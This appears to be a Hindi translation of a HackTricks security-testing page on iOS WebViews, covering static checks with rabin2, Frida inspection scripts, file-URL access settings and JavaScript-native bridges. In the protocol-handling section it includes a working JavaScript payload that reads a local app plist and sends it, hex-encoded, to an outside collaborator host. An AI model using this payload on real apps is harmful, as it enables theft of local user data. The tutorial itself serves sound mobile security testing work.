28 KiB
iOS वेबव्यू
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।
इस पृष्ठ का कोड यहाँ से निकाला गया था। अधिक विवरण के लिए पृष्ठ की जाँच करें।
वेबव्यू प्रकार
ऐप्लिकेशन में वेब सामग्री को इंटरैक्टिव रूप से प्रदर्शित करने के लिए वेबव्यू का उपयोग किया जाता है। iOS ऐप्लिकेशनों के लिए विभिन्न प्रकार के वेबव्यू विभिन्न कार्यक्षमताएं और सुरक्षा सुविधाएं प्रदान करते हैं। यहाँ एक संक्षिप्त अवलोकन है:
-
UIWebView, जिसे iOS 12 के बाद अब अनुशंसित नहीं माना जाता है क्योंकि इसमें JavaScript को अक्षम करने के लिए समर्थन की कमी होती है, जिससे यह स्क्रिप्ट इन्जेक्शन और Cross-Site Scripting (XSS) हमलों के लिए संवेदनशील हो जाता है।
-
WKWebView ऐप्स में वेब सामग्री को शामिल करने के लिए पसंदीदा विकल्प है, जो सामग्री और सुरक्षा सुविधाओं पर बेहतर नियंत्रण प्रदान करता है। JavaScript डिफ़ॉल्ट रूप से सक्षम है, लेकिन आवश्यकता होने पर इसे अक्षम किया जा सकता है। यह यह भी समर्थन प्रदान करता है कि JavaScript स्वचालित रूप से विंडोज़ खोलने से रोकने की विशेषताएँ और सुनिश्चित करता है कि सभी सामग्री सुरक्षित रूप से लोड हो। इसके अतिरिक्त, WKWebView की वास्तविकता मुख्य ऐप प्रक्रिया पर प्रभाव डालने वाले स्मृति संरूपण के जोखिम को कम करती है।
-
SFSafariViewController ऐप्स में मानकीकृत वेब ब्राउज़िंग अनुभव प्रदान करता है, जिसे इसके विशेष लेआउट के द्वारा पहचाना जाता है जिसमें एक केवल पठनीय पता क्षेत्र, साझा और नेविगेशन बटन, और सीधा लिंक शामिल हैं। SFSafariViewController में JavaScript को अक्षम नहीं किया जा सकता, जो भी Safari के साथ कुकीज़ और डेटा साझा करता है, ऐप से उपयोगकर्ता की गोपनीयता को बनाए रखता है। इसे ऐप स्टोर दिशानिर्देशों के अनुसार प्रमुख रूप से प्रदर्शित किया जाना चाहिए।
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
वेबव्यू कॉन्फ़िगरेशन अन्वेषण सारांश
स्थिर विश्लेषण अवलोकन
WebViews कॉन्फ़िगरेशन की जांच की प्रक्रिया में, दो प्रमुख प्रकार पर ध्यान केंद्रित हैं: UIWebView और WKWebView। इन वेबव्यू को एक बाइनरी में पहचानने के लिए, कमांड का उपयोग किया जाता है, विशिष्ट क्लास संदर्भों और प्रारंभीकरण विधियों की खोज के लिए।
- UIWebView पहचान
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
यह कमांड बाइनरी में इससे संबंधित पाठ स्ट्रिंग की खोज करके UIWebView की घटनाओं को ढूंढने में मदद करता है।
- WKWebView पहचान
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
इसी तरह, WKWebView के लिए, यह कमांड इसके उपयोग की संकेतक टेक्स्ट स्ट्रिंग के लिए बाइनरी में खोज करता है।
इसके अतिरिक्त, WKWebView कैसे आरंभ किया जाता है, यह पता करने के लिए निम्नलिखित कमांड को निष्पादित किया जाता है, जो इसके आरंभ से संबंधित मेथड सिग्नेचर को लक्षित करता है:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
जावास्क्रिप्ट कॉन्फ़िगरेशन सत्यापन
WKWebView के लिए, यह जोर दिया गया है कि जब तक आवश्यक न हो, तब तक जावास्क्रिप्ट को अक्षम करना एक बेहतर प्रथा है। कंपाइल किया गया बाइनरी खोजा जाता है ताकि सुनिश्चित किया जा सके कि javaScriptEnabled
प्रॉपर्टी को false
पर सेट किया गया है, जिससे यह सुनिश्चित हो कि जावास्क्रिप्ट अक्षम है:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
केवल सुरक्षित सामग्री सत्यापन
WKWebView मिश्रित सामग्री समस्याओं की पहचान की क्षमता प्रदान करता है, UIWebView के विपरीत। इसे सुनिश्चित करने के लिए hasOnlySecureContent
गुण का उपयोग किया जाता है कि सभी पृष्ठ संसाधन सुरक्षित कनेक्शन के माध्यम से लोड किए गए हैं। संकलित बाइनरी में खोज इस प्रकार से की जाती है:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
डायनामिक विश्लेषण अंतर्दृष्टि
डायनामिक विश्लेषण में हीप की जांच शामिल है WebView उदाहरणों और उनकी गुणधर्मों के लिए। इस उद्देश्य के लिए webviews_inspector.js
नामक एक स्क्रिप्ट का उपयोग किया जाता है, जो UIWebView
, WKWebView
, और SFSafariViewController
उदाहरणों को लक्षित करता है। यह पाए गए उदाहरणों के बारे में जानकारी लॉग करता है, जिसमें URL और JavaScript और सुरक्षित सामग्री से संबंधित सेटिंग्स शामिल हैं।
हीप जांच को ObjC.choose()
का उपयोग करके किया जा सकता है ताकि WebView उदाहरणों की पहचान की जा सके और javaScriptEnabled
और hasonlysecurecontent
गुणधर्मों की जांच की जा सके।
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
{% endcode %}
स्क्रिप्ट निम्नलिखित के साथ निष्पादित किया जाता है:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
मुख्य परिणाम:
- वेबव्यू की घटनाएं सफलतापूर्वक पता लगाई और जांची गई।
- जावास्क्रिप्ट सक्षमता और सुरक्षित सामग्री सेटिंग सत्यापित की गई।
यह सारांश WebView कॉन्फ़िगरेशन का विश्लेषण करने के महत्वपूर्ण चरणों और आदेशों को संक्षेपित करता है, स्थिर और गतिशील दृष्टिकोणों के माध्यम से, जैसे कि जावास्क्रिप्ट सक्षमता और मिश्रित सामग्री की पहचान।
WebView Protocol Handling
WebView में सामग्री का हैंडलिंग एक महत्वपूर्ण पहलू है, विशेष रूप से जब http(s)://
, file://
, और tel://
जैसे विभिन्न प्रोटोकॉल का सामना किया जाता है। ये प्रोटोकॉल ऐप्स के भीतर दूरस्थ और स्थानीय सामग्री को लोड करने की संभावना प्रदान करते हैं। जब स्थानीय सामग्री लोड की जाती है, तो उपयोगकर्ताओं को फ़ाइल के नाम या पथ पर प्रभाव डालने से और सामग्री को संपादित करने से बचाने के लिए सावधानियां लेनी चाहिए।
WebViews सामग्री लोड करने के लिए विभिन्न विधियाँ प्रदान करते हैं। UIWebView के लिए, जो अब विचारशील है, विध
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
संबंधित फ़ाइल एक्सेस के मामले में, UIWebView इसे सार्वत्रिक रूप से अनुमति देता है, जबकि WKWebView allowFileAccessFromFileURLs
और allowUniversalAccessFromFileURLs
सेटिंग को प्रस्तुत करता है जो फ़ाइल URLs से एक्सेस को प्रबंधित करने के लिए होते हैं, जिनमें दोनों डिफ़ॉल्ट रूप से गलत हैं।
एक फ्रिडा स्क्रिप्ट उदाहरण प्रदान किया गया है जो सुरक्षा सेटिंग्स के लिए WKWebView की जांच करने के लिए है:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
अंत में, एक जावास्क्रिप्ट पेलोड का उदाहरण जो स्थानीय फ़ाइलों को बाहर ले जाने का लक्ष्य रखता है, गलत ढंग से कॉन्फ़िगर किए गए वेबव्यूज़ के साथ जुड़ी संभावित सुरक्षा जोखिम को दर्शाता है। इस पेलोड ने फ़ाइल सामग्री को हेक्स प्रारूप में एन्कोड किया पहले उन्हें सर्वर को भेजने से पहले, WebView के कार्यान्वयन में कड़ी सुरक्षा उपायों की महत्वपूर्णता को उजागर किया।
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
वेबव्यूज़ के माध्यम से उजागरित नेटिव विधियाँ
iOS में WebView नेटिव इंटरफेस को समझना
iOS 7 के बाद, Apple ने WebView में JavaScript और नेटिव Swift या Objective-C ऑब्जेक्ट्स के बीच संचार के लिए API प्रदान की। यह एकीकरण मुख्य रूप से दो विधियों के माध्यम से सुविधित है:
- JSContext: जब एक Swift या Objective-C ब्लॉक को
JSContext
के भीतर एक पहचानकर्ता से जोड़ा जाता है, तो एक JavaScript फ़ंक्शन स्वचालित रूप से बनाया जाता है। यह JavaScript और नेटिव कोड के बीच संवाद और संचार की सुविधा प्रदान करता है। - JSExport Protocol:
JSExport
प्रोटोकॉल को विरासत में लेकर, नेटिव गुण, उदाहरण विधियाँ, और कक्ष विधियाँ JavaScript को उजागर की जा सकती हैं। इसका मतलब है कि जो कोई भी परिवर्तन JavaScript वातावरण में किया जाता है, वह नेटिव वातावरण में प्रतिबिम्बित होता है, और उल्टा। हालांकि, यह महत्वपूर्ण है कि इस विधि के माध्यम से अनजाने में संवेदनशील डेटा उजागर न हो।
Objective-C में JSContext
तक पहुंचना
Objective-C में, UIWebView
के लिए JSContext
को निम्नलिखित कोड लाइन के साथ प्राप्त किया जा सकता है:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
WKWebView
के साथ संचार
WKWebView
के लिए, JSContext
तक पहुंच सीधे उपलब्ध नहीं है। इसके बजाय, postMessage
फ़ंक्शन के माध्यम से संदेश पारित किया जाता है, जिससे JavaScript को native संचार संभव होता है। इन संदेशों के लिए हैंडलर निम्नलिखित रूप में सेट किए जाते हैं, जिससे JavaScript को native एप्लिकेशन के साथ सुरक्षित रूप से बातचीत करने में सक्षम होता है:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
इंटरेक्शन और परीक्षण
JavaScript नेटिव लेयर के साथ बातचीत कर सकता है एक स्क्रिप्ट संदेश हैंडलर को परिभाषित करके। इससे वेबपेज से नेटिव फ़ंक्शन को बुलाने जैसे कार्य करने की अनुमति होती है:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
एक नेटिव फंक्शन कॉल के परिणाम को कैप्चर और मैनिपुलेट करने के लिए, व्यक्ति HTML के भीतर कॉलबैक फंक्शन को ओवरराइड कर सकता है:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>
नेटिव साइड जावास्क्रिप्ट कॉल का प्रबंधन करता है जैसा कि JavaScriptBridgeMessageHandler
कक्षा में दिखाया गया है, जहां नंबर को गुणा करने जैसे कार्यों का परिणाम प्रसंस्कृत किया जाता है और जावास्क्रिप्ट को प्रदर्शन या आगे की प्रक्रिया के लिए वापस भेजा जाता है:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
iOS WebViews को Debug करना
(ट्यूटोरियल https://blog.vuplex.com/debugging-webviews पर आधारित)
iOS वेबव्यू में वेब सामग्री को प्रभावी ढंग से Debug करने के लिए, Safari के डेवलपर टूल्स का एक विशेष सेटअप की आवश्यकता है क्योंकि console.log()
को भेजे गए संदेश Xcode लॉग में प्रदर्शित नहीं होते हैं। यहां एक सरल गाइड है, मुख्य चरणों और आवश्यकताओं पर जोर देते हुए:
-
iOS डिवाइस पर तैयारी: Safari Web Inspector को अपने iOS डिवाइस पर सक्रिय किया जाना चाहिए। इसे करने के लिए सेटिंग्स > Safari > Advanced पर जाएं, और Web Inspector को सक्षम करें।
-
macOS डिवाइस पर तैयारी: अपने macOS डेवलपमेंट मशीन पर, आपको Safari के अंदर डेवलपर टूल्स को सक्षम करना होगा। Safari लॉन्च करें, Safari > Preferences > Advanced तक पहुंचें, और Show Develop menu विकल्प को चुनें।
-
कनेक्शन और Debugging: अपने iOS डिवाइस को अपने macOS कंप्यूटर से कनेक्ट करने के बाद और अपने एप्लिकेशन को लॉन्च करने के बाद, अपने macOS डिवाइस पर Safari का उपयोग करके वेबव्यू का Debug करना है। Safari के मेनू बार में Develop पर जाएं, अपने iOS डिवाइस के नाम पर होवर करें ताकि वेबव्यू इंस्टेंसेस की सूची देखें, और जिस इंस्टेंस को आप जांचना चाहते हैं, उसे चुनें। इस उद्देश्य के लिए एक नया Safari Web Inspector विंडो खुल जाएगा।
हालांकि, सीमाओं का ध्यान रखें:
- इस तरीके से Debug करने के लिए एक macOS डिवाइस की आवश्यकता है क्योंकि यह Safari पर निर्भर है।
- केवल Xcode के माध्यम से आपके डिवाइस पर लोड की गई एप्लिकेशन में वेबव्यू Debug के लिए पात्र हैं। एप्लिकेशन स्टोर या Apple Configurator के माध्यम से इंस्टॉल की गई एप्लिकेशनों में वेबव्यू को इस तरह से Debug नहीं किया जा सकता।
संदर्भ
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो SUBSCRIPTION PLANS देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन The PEASS Family खोजें
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm पर फॉलो करें।
- HackTricks और HackTricks Cloud github रेपो में PR जमा करके अपने हैकिंग ट्रिक्स साझा करें।